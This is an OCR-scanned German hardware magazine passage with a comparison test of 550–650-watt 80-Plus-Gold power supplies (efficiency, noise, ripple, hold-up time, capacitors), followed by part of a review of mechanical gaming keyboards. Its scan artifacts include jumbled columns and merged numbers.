panische Primärkondensatoren 
mit ausreichend elektronischer 
Kapazität verbaut worden, aber die 
Restwelligkeit kann intern Wärme 
erzeugen und die Lebensdauer 
deutlich herabsetzen. Hier wären 
höhere Betriebstemperaturen von 
105 °C statt 85 °C eventuell von 
Vorteil gewesen. 


Das Netzteil produziert bis zu einer 
Last von 80 Prozent eine akzepta- 
ble Geräuschkulisse von 0,6 Sone 
und ist erst unter Volllast mit 
4 Sone deutlich zu hören. LC-Power 
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gibt ihrem 650-Watt-Goldjungen 
nur drei Jahre Garantie, obwohl 


Spannungswandlers auf: Konstan- 
te 0,1-0,2 Sone und 0,4 Sone un- 


Testkomponenten im Überblick 


Für die Leistungsmessungen arbeiten wir eng mit EcoPSU zusammen. 
Die Experten für Netzteile setzen auf hochpräzise Chroma-Messtechnik. 


die Verarbeitungsqualität an sich 
keine Wünsche - außer den ange- 
sprochenen - offen lässt und sogar 
über eine löbliche semimodulare 
Kabelausstattung verfügt. 


ter Volllast sind gute bis sehr gute 
Werte bezüglich der Lautheit des 
aktiven Lüfters. Die Effizienz ist da- 
gegen im oberen Lastdrittel etwas 
geringer, befindet sich aber noch 
im Normalbereich. 


P AC-Spannungsquelle: Chroma AC6520 

P DC-Lasten: Chroma 3x 6334/1x 6332/8x 63303/2x 63302/4x 63301 

P Powermeter: Chroma 62202 (zur Wattmessung) 

I Oszilloskope: 3x Rigol 0511047 — 12 Kanäle — 8 für Ripple auf Spannungen 
(4x12V/3,3VI/5VI-12VI5Vsb) – 4 für AC-IN, PG, PSON, 12V 

I Voltmeter: Keysight 34461a 6 7 Digit Multimeter (zur Spannungskontrolle und 
zum Abgleich mit den DC-Lasten) 

P Power Clamp: Tektronix A622 (für AC-IN Signal) 

I Differentialsonde: Tektronix P6046 (vorgeschlagen in der ATX-Spezifikation zur 
Gegenprüfung bei Restwelligkeitsmessungen) 


Chieftec Power Smart GPS-550C: 

Erstaunlich leiser Betrieb, aber aus- Die 
stattungsarm. Der letzte Kandidat 
in unserer Marktübersicht kommt 
wieder aus Taiwan, nämlich aus 
dem Hause Chieftec. Der Welt- 
marktführer in Sachen Computer- 
Gehäuse produziert seine Netzteile 
nicht selber, sondern gibt die Pro- 
duktion branchenüblich an erfah- 
rene Produzenten wie CWT ab -so geforderte Stützzeit verfehlt das 
geschehen bei der vorangegange- Netzteil deutlich und erreicht mit 
nen Smart-Serie. 8,1 Millisekunden nur etwa die 
Hälfte. In der Spannungsregula- 
tion befindet sich das Netzteil im 
ordentlichen Mittelfeld, kann also 


Spannungsregulation wird 
vom Netzteil zufriedenstellend 
vollzogen, aber die Glättung der 
Restwelligkeit ist auf den (+)5- und 
5sb-Schiene grenzwertig - hier soll- 
te bei einer Revision des Produkts 
nachgebessert werden, damit dem 
Gerät mehr Puffer eingeräumt wer- 
den kann. Die im ATX-Standard 


Alle Messungen erfolgen per Remote Sense: Die 
Spannung wird also nicht an der Last, sondern direkt 
am Stecker des Netzeils abgegriffen. Auch bei der 
Spannungsquelle wird so verfahren, sodass an der 
„Steckdose”, mit welcher das Netzteil verbunden ist, 
die exakte Eingangspannung von 115 beziehungswei- 
se 230 Volt anliegt. Die Messwerte werden vollauto- 
matisch im Sekundentakt ermittelt und protokolliert. Nach dem Anschalten fällt sofort 


der geräuscharme Betrieb des 
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NETZTEILE 
Auszug aus Testtabelle 
mit 63 Wertungskriterien 


Produkt 


Modellnummer 


Strider Gold Series 
ST55F-G (V 2.0) 

Silverstone 

95,- Euro/gut 


Prime Gold 650 Whisper 
SSR-650GD Active PFC F3 BWG550M EDG550 
Sea Sonic Bitfenix Antec 
105,- Euro/sehr gut 90,- Euro/sehr gut 100,- Euro/gut 


Hersteller 
Preis/Preis-Leistungs-Verhältnis 


www.pcgh.de/schallsee www.pcgh.de/Fluesterleise www.pcgh.de/Ledfan www.pcgh.de/silberstein 
Dauerleistung (Herstellerangabe) 650 Watt 550 Watt 550 Watt 550 Watt 


Ausstattung (20 %) 1,45 1,46 1,79 1,51 

Kabellänge SATA-/Molex-Stecker 35-71 cm/45-69 cm 95 cm/95 cm 71 ст/71 cm 50-80 cm/50-80 cm 

Anschlüsse Floppy/PATA/SATA 1/3/6 Stück 0/4/8 Stück 1/3/8 Stück 1/3/8 Stück 
CPU-Anschluss/ATX-Stecker (Länge) 4+4-Pin (65 cm), 20+4-Pin (61 cm) 4+4-Pin (65 cm), 20+4-Pin (60 cm) 4+4-Pin (65 cm), 20+4-Pin (52 cm) 4+4-Pin (55 cm), 20+4-Pin (55 cm) 
PCI-E-Anschlüsse (Länge) 4x 6+2-Pin (68 cm) 2x 6+2-Pin (65 cm) 2x 6+2-Pin (55-60 cm) 2x 6+2-Pin (55-70 cm) 
Modulares Kabelsystem Ja, vollmodular Ja, vollmodular Ja, vollmodular Ja, vollmodular 


Lüfteranschlüsse Nein Nein Nein Nein 

Kühlsystem (Lüftergröße, Art des Lagers) |Aktiv, 135-mm-Lüfter Aktiv, 135-mm-Lüfter Aktiv, 135-mm-Lüfter Aktiv, 120-mm-Lüfter 

Handbuch/Garantie Kurzanleitung, deutsch/12 Jahre Kurzanleitung, deutsch/7 Jahre Kurzanleitung, deutsch/5 Jahre Kurzanleitung, deutsch/3 Jahre 

Schutzschaltungen OVP, UVP, SCP, OCP, ОРР, ОТР OVP, UVP, SCP, OCP, OPP, ОТР OVP, UVP SCP, OCP, OPP, ОТР OVP, UVP SCP, OCP, OPP, ОТР 

Zubehör/Sonstiges Kaltgerätestecker, Tasche, Kunststoffkabelbinder, | Kaltgerätestecker, Tasche, Kunststoffkabelbinder, | Kaltgerätestecker, Tasche, Schrauben, Manschet- | Kaltgerátestecker, Tasche, Kunststoffkabelbinder, 
Schrauben, Klettkabelbinder, Hersteller-Badge | Schrauben te gegen Vibrationen, LED-Lüfter Thumbscrews 

Eigenschaften (20 %) 1,25 1,35 1,25 2,20 


Kondensatoren primär 2x Nippon Chemi-Con 220 pF, 400 V, 105 °C (1х Nichicon 390 uF, 400 V, 105 °C 1x Hitachi 330 pF, 420 V, 105 °C 1x Rubycon 390 uf, 400 V 85 °C 


Chemi-Con 105 °C 
160 x 150 x 86 mm 


Kondensatoren sekundär 
Abmessungen LxBxH 


Nippon Chemi-Con 105 °C, Rubycon 105 °C 
170 x 150 x 86 mm 


Rubycon 105 °C; Nippon Chemi-Con 105 °C 
170 x 150 x 86 mm 


Nippon Chemi-Con 105 *C 
140 x 150 x 86 mm 


Belastbarkeit +3,3 V und +5 V 100 Watt 100 Watt 100 Watt 105 Watt 
Belastbarkeit +12-V-Schiene 648 Watt 550 Watt 540 Watt 550 Watt 
Aufteilung +12-V-Schiene Single-Rail Multi-Rail Multi-Rail Single-Rail 


Leistung (60 %) 1,62 1,59 2,02 1,89 


Prüfung 80-Plus-Zertifizierung (115 Volt) |Bestanden Bestanden Bestanden Bestanden 

Effizienz 10/20/50/100 %**(230 Volt) 89/92/92/91 88/92/93/91 83/89/92/89 84/89/91/89 

Effizienz bei 25/90/250/500 Watt 78/90/93/92 80/91/93/91 72/88/92/90 75/89/9290 

Lautheit 10/20/50/80/100 %** 0/0/0,7/0,7/2,4 Sone 0,1/0,1/0,1/0,1/0,5 Sone 0,3/0,3/0,3/1,2/7,9 Sone 0,3/0,3/0,3/0,5/1,5 Sone 
Leistungsaufnahme bei 45 mA ErP 0,38 Watt 0,36 Watt 0,4 Watt 0,44 Watt 
Leistungsfaktorkorrektur (РЕС) 10 bis 100 %** |0,73-0,97 0,71-0,97 0,89-1,00 0,83-1,00 


Restwelligkeit bei 100 % Last*** 8,9/25,4/14,3/24,7 mV 14,1/28,9/20,3/13,9/30,2 mV 24,5/47,3/47,1/16,8/18,2 mV 20,5/22,4/35,9/32,3/31,6 mV 


Spannungsregulation Gut Sehr gut Gut Gut 


© Selbst unter Volllast leise 
© Sehr gute Spannungsregulation 


© 12 Jahre Garantie 
© Beste Effizienzwerte 
© Lüfter unter Volllast zu laut 


Wertung: 1,51 


© Kompaktes Design 
© Leiser Betrieb 
© Schlechte Effizienzwerte 


Wertung: 1,88 


© Entkoppelung durch Gummimanschette 
© Unter Volllast extrem laut 


Wertung: 1,82 


© Stützzeit nicht erreicht 


Wertung: 1,52 


FAZIT 


** Auslastung *** +5V +12V, -12V, +3,3V, +5Vsb 
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** Auslastung *** +5V +12V, -12V, +3,3V, +5Vsb 


gut mit Lastschwankungen umge- 
hen. Leider wurden zu Lasten der 
Kondensatorenbestückung Kosten 
eingespart: Zum Einsatz kommen 
neben einem Teapo 85 °C Exemp- 
lar mit einer elektrischen Kapazität 
von 270 uF in Primärposition noch 
CapXon 105 °C Sekundärkonden- 
satoren. Letztere sind nicht unbe- 
dingt die beste Wahl und zeigen, 
dass die Kostenminimierung im 
Vordergrund stand. Dies spiegelt 
sich auch in der kurzen Garan- 
tiezeit von drei Jahren wider, die 
in diesem Preissegment für Gold- 
Vetreter eher unüblich ist. 


Abschließende Beobach- 
tung 

Alle getesteten Netzteile haben 
laut unseren Messungen die Gold- 
Zertifizierung für ein 115-Volt-Netz 
verdient und keins leistet sich bei 
den Effizienzwerten grobe Schnit- 


Revoiubon 


NETZTEILE 


Auszug aus Testtabelle 
mit 63 Wertungskriterien 


CLAN LS 
SILENT-AWARD 


Hardware 


Revolution Xt Il 550 


zer. Bei einer Prüfung im 230-Volt- 
Stromnetz würde es bei dem Edge 
Silence defined (Antec), dem Stri- 
der Gold S-Series (Silverstone) und 
dem Power Smart GPS-550C (Chief- 
tec) dennoch sehr knapp werden. 
Erfreulicherweise zeigten aber alle 
Spannungswandler durchaus ver- 
tretbare Wirkungsgrade unter na- 
hezu allen Lastszenarien. 


Betrachtet man dagegen die Stütz- 
zeit, muss man feststellen, dass 
nahezu kein Hersteller versucht, 
den Grenzwert von 16 Millisekun- 
den (für ein 115-Volt-Netz) auch 
nur im entferntesten einzuhalten. 
Hier wird an Stützkondensatoren 
gespart, außer beim Testsieger, der 
die Vorgaben auch für ein 230-Volt- 
Netz mit 20,55 Millisekunden er- 
füllt. In einem stabilen Stromnetz 
wie dem Deutschen mag so etwas 
nicht unbedingt eine Notwendig- 


ШШЕ T. 
SPAR-TIPP 


keit sein, dennoch scheinen die 
Hersteller sich für diesen empfoh- 
lenen ATX-Standard in keinster 
Weise zu interessieren - hier muss 
in Zukunft deutlich nachgebessert 
werden. 


Alle Netzteile bleiben unter den 
empfohlenen Grenzwerten für die 
Restwelligkeit, aber bei einigen 
Kandidaten, wie dem Enermax 
Revolution Xt II und dem Chief- 
tec GPS-550C, war kein nennens- 
werter Puffer mehr vorhanden. 
Unverständlich ist auch, warum 
die ATX-Empfehlungen zur Betrieb- 
stemperatur so massiv missach- 
tet werden. Wie bereits erwähnt, 
können chemische Prozesse bei 
10 K Temperaturerhöhung bis zu 
dreimal schneller ablaufen und 
damit die Lebensdauer der Elek- 
trolytkondensatoren massiv Бе- 
einträchtigen. Positiv aufgefallen 


ist, dass viele Produzenten ihren 
Produkten aufgrund der hochwer- 
tigen Bauelemente vertrauen und 
das mit einer langen Garantiezeit 
unterstreichen: Im Schnitt beträgt 
diese in unserem Test 5,55 Jahre. 
Ist diese Zeit bei einem angebote- 
nem Gold-Netzteil geringer, sollten 
Ausstattung und/oder Preis dieses 
Manko wieder wettmachen. (ab) 


Fazit Hardware 


Echt- und kein Katzengold 

Alle Kandidaten verdienen den Gold- 
status und erreichen güldene Effizien- 
zwerte im Test. Die Lautheit der ver- 
bauten Lüfter lässt in der Regel keine 
Wünsche offen — abgesehen von ein 
paar AusreiBern. Warum aber kein Her- 
steller sich um die Überbrückungszeit 
kümmert, bleibt schleierhaft — wün- 
schenswert wäre es allemal. 


Hardware 


GX-S 550 


TX550M LC6650GP4 


Power Smart GPS-550C 


Modellnummer ERX550AWT CP-9020133-EU LC6650GP4 V2.4 GPS-550C 

Hersteller Enermax Cougar Corsair LC Power Chieftec 
Preis/Preis-Leistungs-Verhältnis 85,- Euro/gut 70,- Euro/sehr gut 75,- Euro/gut 82,- Euro/gut 80,- Euro/befriedigend 
www.pcgh.de/umdrehung www.pcgh.de/silberloewe www.pcgh.de/tx550m www.pcgh.de/elzeh www.pcgh.de/cleverkraft 
Dauerleistung (Herstellerangabe) 550 Watt 550 Watt 550 Watt 650 Watt 550 Watt 
Ausstattung (20 %) 1,85 2,16 1,98 1,99 2,28 

Kabellänge SATA-/Molex-Stecker 45-90 cm/45-90 cm 45-65 cm/45-65 cm 50-69 cm/75 cm 50-60 cm/45-75 cm 85 cm/85 cm 
Anschlüsse Floppy/PATA/SATA 1/4/8 Stück 1/4/5 Stück 1/4/5 Stück 1/4/4 Stück 03/6 Stück 


CPU-Anschluss/ATX-Stecker (Länge) 


44-4-Pin (60 cm), 20+4-Pin (60 cm) 


4+4-Pin (65 cm), 20+4-Pin (60 cm) 


4+4-Pin (65 cm), 20+4-Pin (60 cm) 


4+4-Pin (65 cm), 20--4-Pin (60 cm) 


4+4-Pin (55 cm), 20--4-Pin (55 cm) 


PCI-E-Anschlüsse (Länge) 


2x 6+2-Pin (50 cm) 


2x 6+2-Pin (60-70 cm) 


2x 6+2-Pin (70 cm) 


4x 6+2-Pin (60-75 cm) 


2x 6+2-Pin (55-65 cm) 


Modulares Kabelsystem 


Ja, teilmodular 


Nein 


Ja, teilmodular Ja, teilmodular 


Ja, teilmodular 


Lüfteranschlüsse Nein 


Nein 


Nein Nein 


Nein 


Kühlsystem (LüftergróBe, Art des Lagers) 


Aktiv, 139-mm-Lüfter 


Aktiv, 120-mm-Lüfter 


Aktiv, 120-mm-Lüfter 


Aktiv, 140-mm-Lüfter 


Aktiv, 140-mm-Lüfter 


Handbuch/Garantie 


Kurzanleitung, deutsch/5 Jahre 


Kurzanleitung, deutsch/5 Jahre 


Kurzanleitung, deutsch/7 Jahre 


Kurzanleitung, deutsch/3 Jahre 


Kurzanleitung, deutsch/3 Jahre 


Schutzschaltungen 


OVP, UVP, SCP, OCP, OPP 


OVP, UVP, SCH OCH OPP 


OVP, UVP, SCP, OCP, OPP, ОТР 


OVP, UVP, SCP, OCP, OPP, OTP 


OVP, UVP, SCH OCH ОРР, ОТР 


Zubehör/Sonstiges 


Eigenschaften (20 %) 
Kondensatoren primär 


1,20 


М, 105 °C 


Kaltgerätestecker, Tasche, Kunststoff- 
kabelbinder, Klettkabelbinder, Schrau- 
ben, Cord-Guard, Sticker 


1x Nippon Chemi-Con 330 pF, 400 


kabelbinder, Schrauben 


1,90 
1x Teapo 560 uF, 400 V, 105 *C 


Kaltgerätestecker, Tasche, Kunststoff- 


Kaltgerätestecker, Tasche, Kunststoff- 
kabelbinder, Schrauben, Case-Badge 


1,30 


2x Nippon Chemi-Con 220 pF, 450 V, 
105 °C 


2,25 


Kaltgerätestecker, Tasche, Kunststoff- 
kabelbinder, Schrauben 


2x Rubycon 270 pF, 400 V, 85 °C 


Kaltgerátestecker, Tasche, Schrauben 


2,55 
1x Teapo 270 uF, 400 V, 85 *C 


Kondensatoren sekundär 


Nippon Chemi-Con 105 °C 


Teapo 105 °C 


Chemi-Con 105 °C Teapo 105 °C 


CapXon 105 °C 


Abmessungen L x B x H 


160 x 150 x 86 mm 


140 x 150 x 86 mm 


135 x 140 x 86 mm 


160 x 150 x 86 mm 


160 x 150 x 87 mm 


FAZIT 
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© Ausstattungswunder 
© Sehr leiser Betrieb 


© Kein OTP 


Wertung: 1,99 


© Kompaktes Design 
© Leise Lüfterkurve bis Volllast 
© Kein OTP 


Wertung: 2,06 


Belastbarkeit +3,3 V und +5 V 105 Watt 105 Watt 120 Watt 130 Watt 110 Watt 
Belastbarkeit +12-V-Schiene 480 Watt 550 Watt 516 Watt 612 Watt 540 Watt 

Aufteilung +12-V-Schiene Single-Rail Single-Rail Multi-Rail Multi-Rail Single-Rail 

Leistung (60 %) 2,30 2,08 2,44 2,20 2,22 

Prüfung 80-Plus-Zertifizierung (115 Volt) |Bestanden Bestanden Bestanden Bestanden Bestanden 

Effizienz 10/20/50/100 %**(230 Volt) 86/91/93/90 85/90/92/90 84/90/92/90 88/92/93/90 87/91/92/90 

Effizienz bei 25/90/250/500 Watt 77190/93/91 76/89/9291 74189192191 76/90/93/91 78/90/92/90 
Lautstärke 10/20/50/80/100 %** 0,1/0,1/0,1/0,1/0,4 Sone 0,3/0,3/0,3/0,3/2,6 Sone 0,5/0,6/1,7/2,8/4,0 Sone 0,6/0,6/0,6/0,7/1,4 Sone 0,1/0,1/0,1/0,2/0,4 Sone 
Leistungsaufnahme bei 45 mA ErP 0,41 Watt 0,43 Watt 0,37 Watt 0,38 Watt 0,41 Watt 
Leistungsfaktorkorrektur (РЕС) 10 bis 100 %** |0,77-0,98 0,82-0,99 0,79-0,98 0,84-0,99 0,75-0,97 
Restwelligkeit bei 100 % Last*** 62,8/59,5/44,5/42,6/45,5 mV 56,6/73,1/58,2/35,4/44,6 mV 16,6/50,5/26,9/19,9/28,3 mV 21,7/69,4/26,7/18,8/40,3 mV 49,7/69/59,7/33,7/64,2 mV 
Spannungsregulation Gut Gut Sehr gut Gut Gut 


© Kompaktes Design 
© Ab 50 Prozent Last akustisch 
wahrnehmbar 


Wertung: 2,12 


Preisklasse 


© Guter Wirkungsgrad 
© Zu kurze Garantie für diese 


Wertung: 2,17 


© Überraschend leiser Betrieb 
© Sekundärkondensatoren 
könnten besser sein 


Wertung: 2,30 
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pielfreudige Tippgeräte 


Mit drucksensitiven Tasten, einem RGB-Lichtfeuerwerk per Knopfdruck oder verkürzten Schalterwegen 


mit flachen Key Caps buhlen Gamer-Keyboards um die spielenden Kunden. Braucht man all diese Extras? 


ie Meinungen, über welche 
Ausstattungsmerkmale eine 
(mechanische) Gamer-Tastatur ver- 
fügen sollte, gehen weit auseinan- 
der. Fans von MOBAs und MMOs 
beispielsweise legen den Fokus 
beim Tastaturkauf oft auf einen 
großen internen Speicher für viele 
Profile sowie eine umfangreiche 
Makrofunktion inklusive Direktauf- 
zeichnung und separaten Makro- 
tasten. Bei anderen Gamern steht 
eine äußerst umfangreiche RGB-Be- 
leuchtungspalette, die sich im Ide- 
alfall ohne Software aufrufen und 
wie bei der Patriot Viper V760 auch 
noch individuell per Knopfdruck 
programmieren lässt, ganz oben auf 
der Wunschliste. Für wieder andere 
Spieler, die ihre Tastatur auch zum 
Schreiben nutzen möchten, ist eine 
Handballenablage Pflicht und die 
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Eigenschaften der mechanischen 
Tastenschalter (z.B. kurzer Auslöse- 
und Betátigungsweg/linearer oder 
taktiler Auslósepunkt/geringe Ge- 
räuschkulisse bei Betätigung) sind 
das entscheidende Kaufkriterium. 


In unserer Marktübersicht haben 
wir daher das Testfeld bewusst breit 
gefächert und präsentieren Ihnen 
acht ganz unterschiedliche Gamer- 
Keyboards zwischen 50 und 200 
Euro, bei denen die Hersteller ganz 
verschiedene Ausstattungsschwer- 
punkte setzen. So sollte für jeden 
Käufertyp ein passendes Tasten- 
brett dabei sein. 


Corsair K95 F latinum: Top ausge- 
statteter, ergonomischer Testsieger 
mit schnellen Schaltern. Die Ausstat- 
tung, die Corsair seinem Mechanik- 


Flaggschiff und Testsieger mit auf 
den Weg gibt, ist sehr gut. Anders 
als bei den restlichen Testkandi- 
daten stehen hier nicht nur sechs 
separate Makrotasten bereit. Da die 
K95 RGB Platinum über fünf Me- 
diatasten und eine Lautstärkewalze 
verfügt, sind auch die nicht doppelt 
belegten F-Tasten für die Makropro- 
grammierung nutzbar. Die Tasten- 
kombinationen kónnen wie die elf 
vorgefertigten Effekte und selbst 
erstellten Beleuchtungsprofile in ei- 
nem der drei, per Taste aufrufbaren 
Profile gespeichert werden (8 MB 
(D Speicher) und sind sogar ohne 
Software abrufbar. Während die 
Makro-Erstellung mit Corsairs CUE- 
Software einfach gelingt, präsentiert 
sich der Teil mit den Beleuchtungs- 
einstellungen anfangs wenig zu- 
gänglich. Dank der gummierten und 


ausreichend großen Handballen- 
ablage bietet Corsairs K95 RGB Pla- 
tinum eine optimale Ergonomie. Ob- 
wohl sich die G-Tasten recht nah am 
Haupttastenfeld befinden, kommt es 
dank der auf dem Chassis mit Alu- 
miniumoberfläche ` freistehenden 
Tastenschalter nicht zu Fehlgriffen. 
Mit einem auf 1,2 mm verkürzten 
Auslóseweg ermóglichen Cherrys 
MX-Speed-RGB-Schalter dem Spie- 
ler eine sehr schnelle Reaktion und 
Mehrfachbetätigung. Vielschreiber 
müssen sich dagegen anfangs an den 
frühen Auslösepunkt gewöhnen. 


Pat ipe ): Günstiger, mäch- 
tiger Lichtspieler mit 14 Kontrolltas- 
ten. Mit der Viper V760 will Patriot 
vor allem den Spieler ansprechen, 
der auf eine besonders abwechs- 
lungsreiche, bunte Lichtshow steht. 
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Tastenschalter: Vier Varianten verschiedener Hersteller im Detail 


Cherrys MX-Speed-RGB-Switch verfügt über einen kurzen Auslóseweg von 1,2 mm. Logitechs Romer-G-Schalter lóst nach 1,5 mm aus, die Mechanik ist leise und die Lichtstreu- 
ung gering. Tesoros Agile-Tastenschalter ist ebenfalls nach 1,5 mm auslósebereit und Roccats Gummidom-Schalter sind drucksensitiv (Polymer Piezoelectric Composite Layer). 


Cherry MX Speed RGB (linear, 1,2 mm 
Auslöse-/3,4 mm Betätigungsweg) 


Die RGB-Beleuchtungseffekte (sie- 
he Testtabelle) sowie deren Hellig- 
keit, Laufrichtung (links/rechts und 
oben/unten) und Geschwindigkeit 
(langsam/schnell) lassen sich näm- 
lich komplett ohne Software insze- 
nieren. Zusätzlich können Spieler 
per Knopfdruck (Fn + F12) fünf in- 
dividuelle Beleuchtungsprofile auf- 
zeichnen und per Tastendruck (Fn 
+ F1 bis F5) wieder aufrufen. Dazu 
kommen ein Knopf für den Gamer- 
Modus sowie Tasten für die Multi- 
mediasteuerung (Fn + Taste „1“ bis 
,6*) Für die Makroprogrammie- 
rung und Profilverwaltung (sechs 
Profile speicherbar) muss dann die 
Software bemüht werden, welche 
sich intuitiv bedienen lässt. 


Da Patriot dem Preis-Leistungs-Tipp 
eine Handballenablage spendiert, 
lassen sich längere Schreibarbeiten 
mit der rutschfesten Viper V760 
ohne Verspannungen im Handge- 
lenk durchführen. Die braunen 
Kailh-Schalter mit ihrem spürbaren 
Auslösepunkt nach 2 mm eignen 
sich für Spieler und Vieltipper. Sie 
sind jedoch etwas lauter als ihre 
Cherry-MX-RGB-Brown-Vorbilder 
und produzieren je nach Tastenpo- 
sition ein hörbares Ping-Geräusch. 
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Logitech Romer G (taktil: haptisch, 1,5 
mm Auslöse-/3 mm Betätigungsweg) 


est ram Schnelle 
Schalter, viele Beleuchtungstricks, 
aber schwache Software. Die Aus- 
stattung der Gram Spectrum ist dem 
Preis von 120 Euro angemessen. 
Die abschaltbare RGB-Beleuchtung 
bietet sieben per Taste auswählba- 
re Effekte. Zusätzlich können mit 
der Software fünf individuelle Be- 
leuchtungsprofile erstellt, im Spei- 
cher (512 kb) abgelegt und dann 
mit einer der fünf Profiltasten auf- 
gerufen werden. Leider erleichtert 
die Software, deren Schrift bei der 
WOHD- und UHD-Auflösung viel zu 
klein ausfällt, die Programmierung 
nicht. Die Makroerstellung ist dage- 
gen unkompliziert, zumal die Gram 
Spectrum eine Direktaufzeichnung 
besitzt. Ebenfalls im Ausstattungs- 
paket: sechs Multimediatasten, eine 
Sperre für alle Tasten sowie die Mög- 
lichkeit, per Tastendruck zwischen 
dem 6KRO und NKRO zu wechseln. 


Bei den Tastenschaltern debütiert 
der „Agile Switch“, bei dem der Aus- 
löseweg von 2 mm auf 1,5 mm ver- 
kürzt wurde (Betätigungsweg: 3,5 
mm) und dessen Tastenkappe mit 
einer Höhe von 6,2 mm nur halb so 
hoch ist wie das Standardmodell mit 
12,5 mm. Mit diesen Eigenschaften, 


Tesoro Agile Switch (linear, 1,5 mm 
Auslöse-/3,5 mm Betätigungsweg) 


Roccat Force FX (Gummidom mit ho- 
her Druckkraft/definiertem Anschlag) 


/ 


Bei Logitechs aktuell nur mit US-Tastenlayout erhältlichem G Pro Gaming Keyboard ist 
das Kabel abnehmbar. Der spezielle Mikro-USB-Anschluss ist auch an der G900 zu finden. 


Für die Helligkeit und Beleuchtungseffekte verfügt die Vpro V500S über zwei Tasten. Die 
(ohne Tastenkappe abgebildete) M-Taste aktiviert die für die Profile erstellten Makros. 
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Mit der Tesoro Gram Spectrum debütiert der Agile Switch, der dank eines auf 1,5 mm ver- 
kürzten Auslósewegs sehr flott ist. Dazu kommen flache Key Caps mit nur 6,2 mm Hohe. 


Zur ordentlichen Ausstattung der Logitech G413 Carbon gehören neben dem USB-2.0- 
Hub und der roten Beleuchtung zehn wechselbare Tastenkappen mit tiefen Fingermulden. 


Bei der mit einer magnetisch andockenden Handballenablage bestückten Patriot Viper 
V760 werden Richtung und Geschwindigkeit der RGB-Lichtspielereien per Taste geregelt. 
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der leisen Arbeitsweise sowie dem 
geringen Auslösedruck von 45 cN 
eignet sich der Tastenschalter nicht 
nur für eine sehr schnelle Reaktion 
und eine Mehrfachbetätigung beim 
Spielen. Der verkürzte Auslöseweg 
sorgt auch für ermüdungsfreies 
Vieltippen. 

F Isku+ F. : Isku-Nachfol- 
ger mit drucksensitiven Gummidom- 
Tasten. Das Alleinstellungsmerkmal 
der Isku+ Force FX sind sechs druck- 
sensitive Tasten (QWEASD), die ana- 
log (Druckstufen) und nicht digital 
(gedrückt/nicht gedrückt) ausgelóst 
werden können. Die Basis der Tech- 


nik ist eine Schicht aus polymer- 
piezoelektrischem Kompositmate- 
rial unterhalb des Gummidoms, die 
auf die Druckkraft bei Betätigung 
reagiert. Die Spezialtasten können 
für eine alternative Steuerung, 
beispielsweise als Analog-Stick, 
genutzt werden - was nach etwas 
Eingewöhnung auch gut klappt. Von 
dieser Neuerung und der Swarm- 
Software-Unterstützung abgesehen, 
übernimmt die Isku+ Force FX die 
gute bis sehr gute Ausstattung der 
Ur-Isku (FX). Zu dieser gehören die 
RGB-Beleuchtung, fünf Makrotas- 
ten, drei Daumentasten, eine Makro- 
Direktaufzeichnung sowie die Easy- 
Shift-Tastenverdopplung. 


Da die rutschfeste Isku+ Force FX 
die Handballenablage des Vorgän- 
gers übernimmt, ist die Ergonomie 
optimal. Die Gefahr, die sehr nah 
am Hauptfeld platzierten M-Tasten 
beim Blindschreiben auszulösen, 
besteht bei der Isku+ Force FX wei- 
terhin. Im Gegenzug fällt der Druck- 
punkt der Tasten mit mittelhohen 
Kappen angenehm hart und keines- 
falls schwammig aus und der An- 
schlag ist auch knackig und präzise. 
L ech G Pro Gam Keyboard: 
Bunt beleuchtetes, kompaktes Key- 
board mit E-Sport-Genen. Logitechs 
mit US-Layout erhältliche 
G-Pro-Gaming-Tastatur kann als 
kleiner Bruder der G413 Carbon 
bezeichnet Abgesehen 
von der RGB-Beleuchtung, für die 
in der vorbildlichen Software 16 
individuelle und fünf Standard- 
Effekte sowie eine Zonenbeleuch- 
tung zur Verfügung stehen, bietet 
das kompakte Keyboard eine ähn- 
liche Ausstattung wie die Logiech 
G413 Carbon. Dazu gehören primär 
Features, die wie der Speicher für 


nur 


werden. 


sechs Profile inklusive der erstell- 
ten Makros, der 26-Key-Rollover 
und die Multimediatasten (Doppel- 
belegung F9 bis F12 und oberste 
Reihe Mittelblock), auf PC-Spieler 
und nicht unbedingt Vielschreiber 
zugeschnitten sind. Darüber hinaus 
kann man in der Software neben 
der Windows-Taste noch andere 
Tasten festlegen, die nach der Betä- 
tigung des Gaming-Knopfes nicht 
mehr aktiv sind. 


Da der Anstiegswinkel des flachen 
Gehäuses gering ausfällt, lässt sich 
die Tischplatte als Handballenabla- 
genersatz nutzen, Gummielemente 
an der zweistufigen Höhenverstel- 
lung machen die Tastatur rutsch- 
fest. Mit ihrem taktilen Druckpunkt 
nach 1,5 mm und dem geringen Aus- 
lösedruck von 45 cN eignen sich die 
Romer-G-Schalter (Omron) sehr gut 
für schnelle Mehrfachbetätigung, 
ohne dass Spieler die Tasten bis zum 
Anschlag durchdrücken müssen. 

Fr Gear Rush G1 Silent: Ergono- 
misch, bezahlbar und mit Fokus auf 
Spielertauglichkeit. Bei der Aus- 
stattung des Rush G1 Silent ist der 
E-Sport-Spezialist Fnatic auf Dinge 
bedacht, die Spieler wirklich brau- 
chen. Statt einer RGB-Beleuchtung 
setzt man, auch wegen des attrak- 
tiven Preises von 90 Euro, auf ein 
rotes Hintergrundlicht (drei Hel- 
ligkeitsstufen) mit einem per Taste 
wählbaren Atmungseffekt. Die Ma- 
krofunktion des Keyboards fällt da- 
gegen umfangreicher aus. Mit der 
einfach bedienbaren, aber schlicht 
gehaltenen Software kann der Spie- 
ler für jedes der fünf speicherbaren 
Profile (Speichergröße: 128 kb) 
zehn Makrotasten festlegen. Diese 
werden dann im Gear-Modus per Fn 
* F12 aktiviert; wer móchte, kann 
zusátzlich per Taste (Fn * n) auch 
zwischen dem NKRO und 6KRO 
umschalten. Zur weiteren, für Spie- 
ler konzipierten Ausstattung gehó- 
ren zwei USB-2.0-Anschlüsse und 
sechs Multimediatasten. 


Die gummibeschichtete Handballe- 
nablage der rutschfesten Rush G1 
Silent ist zwar etwas schmal geraten, 
erfüllt aber ihren Zweck trotzdem 
gut bis sehr gut. Dank der Cherry- 
MX-Silent-Tastenschalter macht die 
Rush G1 Silent ihrem Namen alle 
Ehre, denn die Geräuschkulisse 
fällt im Vergleich mit den regulären 
roten MX-Switches hörbar geringer 
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aus; ein leichtes ,Ping“ ist ab und zu 


trotzdem noch wahrnehmbar. 


Logitech G413 Carbon: Optisch auf- 
fàllig mit Gamer-Grundausstattung. 
Mit ihrem flachen, mit einer Alumi- 
niumoberfläche versehenen Chassis 
macht die G413 Carbon optisch viel 
her. Dennoch verzichtet Logitech 


auf eine RGB-Beleuchtung sowi: 


le Lichtspielereien, es steht lediglich 
